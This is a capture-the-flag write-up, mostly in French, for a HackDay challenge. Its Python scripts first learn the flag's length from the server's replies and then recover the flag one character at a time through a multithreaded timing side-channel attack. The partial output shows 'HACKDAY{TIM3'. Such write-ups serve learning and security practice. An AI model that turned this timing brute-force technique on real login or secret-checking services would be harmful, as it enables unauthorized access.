A system administrator, frustrated after a heated debate about cybersecurity standards, ended up creating a poorly secured cheat sheet. Convinced that he could outsmart his own cybersecurity experts, he disregarded some basic principles. The result? A vulnerable document that might hold sensitive information. Can you uncover his mistakes and decipher the secrets hidden ?
challenges.hackday.fr:48118
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Grâce à ce que répond le serveur, on commence par déterminer la taille du flag :
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('challenges.hackday.fr', 48118))
client.settimeout(3)
client.recv(1024)
for i in range(1, 25):
client.send(b'a' * i + b'\n')
data = client.recv(1024)
if not data.startswith(b'Wrong length'):
print(f'Flag size: {i}')
# Flag size: 21
Maintenant, on sait que le flag commence par HACKDAY. Si l'on essaie ça, on se rend compte qu'il y a un délai de réponse.
Ce délai augmente pour chaque lettre correcte de gauche à droite. On va utiliser ce délai de réponse pour savoir quelles sont les bonnes lettres (il faut avoir une connexion stable).
Comme le temps d'attente est linéaire, on a vite fait d'attendre 2s par lettre. J'ai donc multithreadé le script pour gagner du temps, mais limité à 20 threads pour réduire le risque d'instabilité et donc de faux résultats.
import socket
import string
import time
import threading
max_thread = threading.Semaphore(20)
class Breaker(threading.Thread):
def __init__(self, attempt: str, size: int):
super().__init__()
self.attempt = attempt
self.size = size
self.duration = None
def run(self):
with max_thread:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('challenges.hackday.fr', 48118))
client.settimeout(3)
try:
client.recv(1024)
attempt = self.attempt + '_' * (self.size - len(self.attempt))
start = time.time()
client.send(attempt.encode() + b'\n')
client.recv(1024)
self.duration = time.time() - start
except:
print('timeout')
exit(1)
def __repr__(self):
return f'{self.attempt} ({self.duration})'
flag = 'HACKDAY{TIM' # à compléter à chaque fois
size = 21
charset = string.ascii_letters + string.digits + string.punctuation
while len(flag) < size:
threads = [Breaker(flag + c, size) for c in charset]
for thread in threads:
thread.start()
for thread in threads:
thread.join()
best = sorted(threads, key=lambda o: o.duration, reverse=True)[0]
flag = best.attempt
print(best)
# Résultat du script :
# HACKDAY{TIM3 (1.317502737045288)
# Il faut mettre à jour la variable flag et relancer.